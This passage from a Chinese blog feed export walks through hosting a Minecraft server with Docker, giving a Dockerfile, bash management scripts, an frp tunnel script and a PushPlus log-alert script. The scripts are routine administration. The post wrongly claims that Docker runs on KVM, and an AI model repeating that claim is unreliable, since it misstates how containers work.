title=\"专用地址\"\u003e\u003c/a\u003e专用地址\u003c/h4\u003e\u003cp\u003e面向用户。比如URL就是专用地址,再比如电子邮件的地址也是专用地址。\u003c/p\u003e\u003cp\u003e上面就是概述部分的内容了。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/"},{"title":"用Docker开个MC服务器","time":"2023-06-07T13:26:19Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e前段时间好好学了下Docker,于是想试着用它去部署一些比较麻烦的服务端。所以首先就是试试MC了,毕竟能实现服务端跟地图数据分离以及服务端自动化部署,便于迁移确实很爽。\u003c/p\u003e\u003cp\u003e虽然MC服务端的性能敏感性比较高,但是Docker+MC的性能问题比较小,因为基于KVM,虚拟化由内核支持,所以Docker性能开销相当小,日用基本可以忽略。\u003c/p\u003e\u003ch2 id=\"目标\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E6%B8%B8%E6%88%8F/Minecraft/%E7%94%A8Docker%E5%BC%80%E4%B8%AAMC%E6%9C%8D%E5%8A%A1%E5%99%A8/#%E7%9B%AE%E6%A0%87\" class=\"headerlink\" title=\"目标\"\u003e\u003c/a\u003e目标\u003c/h2\u003e\u003cp\u003e部署好之后,目录下应该只有一个地图文件夹,一个服务端程序,以及一个明确指示了地图文件夹和服务端程序路径的dockerfile。如果使用docker-compose去实现包括mc服务端的外围功能(比如bluemap等地图功能,以及geyser这样的be兼容转换服务端),那也可以,不过得保证数据程序的分离,以及可维护、易于修改的特质。\u003c/p\u003e\u003cp\u003e基于上面的目标,可以使用Volume完成资源的映射。我们需要的只是一个基础的jre镜像。\u003c/p\u003e\u003ch2 id=\"代码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E6%B8%B8%E6%88%8F/Minecraft/%E7%94%A8Docker%E5%BC%80%E4%B8%AAMC%E6%9C%8D%E5%8A%A1%E5%99%A8/#%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"代码\"\u003e\u003c/a\u003e代码\u003c/h2\u003e\u003cp\u003eDockerfile很简单,就是基础的jre镜像,以及启动指令。\u003c/p\u003e\u003cfigure class=\"highlight dockerfile\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eFROM\u003c/span\u003e openjdk:\u003cspan class=\"number\"\u003e17\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eWORKDIR\u003c/span\u003e\u003cspan class=\"language-bash\"\u003e /app\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eRUN\u003c/span\u003e\u003cspan class=\"language-bash\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;eula=true\u0026#34;\u003c/span\u003e \u0026gt; /app/eula.txt\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eCMD\u003c/span\u003e\u003cspan class=\"language-bash\"\u003e [\u003cspan class=\"string\"\u003e\u0026#34;java\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;-jar\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;server.jar\u0026#34;\u003c/span\u003e]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后是启动脚本,我将几个常用指令封装成一个Bash脚本了:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 获取第一个参数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eaction=\u003cspan class=\"variable\"\u003e$1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 根据参数执行不同的操作\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"variable\"\u003e$action\u003c/span\u003e \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e run) \u003cspan class=\"comment\"\u003e# 运行容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker run -d \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -p 25565:25565 \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -v $(\u003cspan class=\"built_in\"\u003epwd\u003c/span\u003e)/world:/app/world \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -v $(\u003cspan class=\"built_in\"\u003epwd\u003c/span\u003e)/server.jar:/app/server.jar \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e -v $(\u003cspan class=\"built_in\"\u003epwd\u003c/span\u003e)/server.properties:/app/server.properties \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e --name mc \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mc-server\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e build) \u003cspan class=\"comment\"\u003e# 构建镜像\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker build -t mc-server .\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e stop) \u003cspan class=\"comment\"\u003e# 停止容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker stop mc\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e start) \u003cspan class=\"comment\"\u003e# 启动容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker start mc\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e restart) \u003cspan class=\"comment\"\u003e# 重启容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker restart mc\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e backup) \u003cspan class=\"comment\"\u003e# 备份文件\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e timestamp=$(\u003cspan class=\"built_in\"\u003edate\u003c/span\u003e +%Y%m%d%H%M%S)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e zip -r [backup]mc-server-\u003cspan class=\"variable\"\u003e$timestamp\u003c/span\u003e.zip world server.properties mc.sh Dockerfile server.jar\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003elog\u003c/span\u003e) \u003cspan class=\"comment\"\u003e# 输出日志\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker logs -f mc\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sh) \u003cspan class=\"comment\"\u003e# 进入shell\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker \u003cspan class=\"built_in\"\u003eexec\u003c/span\u003e -it mc sh\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *) \u003cspan class=\"comment\"\u003e# 输出帮助信息并退出\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;Usage: \u003cspan class=\"variable\"\u003e$0\u003c/span\u003e {run|build|stop|start|restart|log|sh}\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e 1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eesac\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后,在保证目录下有\u003ccode\u003eserver.jar\u003c/code\u003e和\u003ccode\u003eserver.properties\u003c/code\u003e的前提下,使用\u003ccode\u003e./mc.sh run\u003c/code\u003e来初始化并运行服务端。剩下的用法参考上面的代码,或者参考\u003ca href=\"https://github.com/xeonds/docker-mc/\"\u003e这里\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"外围\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E6%B8%B8%E6%88%8F/Minecraft/%E7%94%A8Docker%E5%BC%80%E4%B8%AAMC%E6%9C%8D%E5%8A%A1%E5%99%A8/#%E5%A4%96%E5%9B%B4\" class=\"headerlink\" title=\"外围\"\u003e\u003c/a\u003e外围\u003c/h2\u003e\u003cp\u003e开了服务器之后,肯定需要对公网/内网开放。我在这里用了一个frp的镜像,同样也将它封装为了启动脚本:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 定义容器名称和配置文件路径\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCONTAINER_NAME=frpc\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCONFIG_FILE=$(\u003cspan class=\"built_in\"\u003epwd\u003c/span\u003e)/frpc.ini\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 检查参数个数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e [ \u003cspan class=\"variable\"\u003e$#\u003c/span\u003e -eq 0 ]; \u003cspan class=\"keyword\"\u003ethen\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;Usage: \u003cspan class=\"variable\"\u003e$0\u003c/span\u003e run|start|stop|restart\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e 1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efi\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 根据参数执行相应操作\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"variable\"\u003e$1\u003c/span\u003e \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e run)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 部署容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker run --restart=always --network host -d -v \u003cspan class=\"variable\"\u003e$CONFIG_FILE\u003c/span\u003e:/etc/frp/frpc.ini --name \u003cspan class=\"variable\"\u003e$CONTAINER_NAME\u003c/span\u003e snowdreamtech/frpc\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e start)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 启动容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker start \u003cspan class=\"variable\"\u003e$CONTAINER_NAME\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e stop)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 停止容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker stop \u003cspan class=\"variable\"\u003e$CONTAINER_NAME\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e restart)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 重启容器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker restart \u003cspan class=\"variable\"\u003e$CONTAINER_NAME\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003elog\u003c/span\u003e) \u003cspan class=\"comment\"\u003e# 输出日志\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker logs -f \u003cspan class=\"variable\"\u003e$CONTAINER_NAME\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sh) \u003cspan class=\"comment\"\u003e# 进入shell\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e docker \u003cspan class=\"built_in\"\u003eexec\u003c/span\u003e -it \u003cspan class=\"variable\"\u003e$CONTAINER_NAME\u003c/span\u003e sh\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 无效参数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;Invalid argument: \u003cspan class=\"variable\"\u003e$1\u003c/span\u003e\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;Usage: \u003cspan class=\"variable\"\u003e$0\u003c/span\u003e run|start|stop|restart|log\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e 2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eesac\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 打印容器状态\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edocker ps -a | grep \u003cspan class=\"variable\"\u003e$CONTAINER_NAME\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e同样,保证目录下有一个\u003ccode\u003efrpc.ini\u003c/code\u003e文件。每次编辑完成后,需要删除原来的容器重新启动一个。\u003c/p\u003e\u003cp\u003e还有一个使用\u003ccode\u003epushplus\u003c/code\u003e简单的监控脚本:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etoken=\u003cspan class=\"string\"\u003e\u0026#34;your_token_here\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eurl=http://www.pushplus.plus/send\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ebash mc.sh \u003cspan class=\"built_in\"\u003elog\u003c/span\u003e | grep -E --line-buffered \u003cspan class=\"string\"\u003e\u0026#34;error|fail|warn\u0026#34;\u003c/span\u003e |\\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"built_in\"\u003eread\u003c/span\u003e line; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edo\u003c/span\u003e json=\u003cspan class=\"string\"\u003e\u0026#34;{\\\u0026#34;token\\\u0026#34;: \\\u0026#34;\u003cspan class=\"variable\"\u003e$token\u003c/span\u003e\\\u0026#34;, \\\u0026#34;title\\\u0026#34;: \\\u0026#34;MC服务端异常报警\\\u0026#34;, \\\u0026#34;content\\\u0026#34;: \\\u0026#34;\u003cspan class=\"variable\"\u003e$line\u003c/span\u003e\\\u0026#34;}\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecurl -H \u003cspan class=\"string\"\u003e\u0026#34;Content-Type: application/json\u0026#34;\u003c/span\u003e -X POST -d \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$json\u003c/span\u003e\u0026#34;\u003c/span\u003e \u003cspan class=\"variable\"\u003e$url\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edone\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它会\u003cstrong\u003e每次从日志开始读取日志\u003c/strong\u003e,将报错信息发送给PushPlus 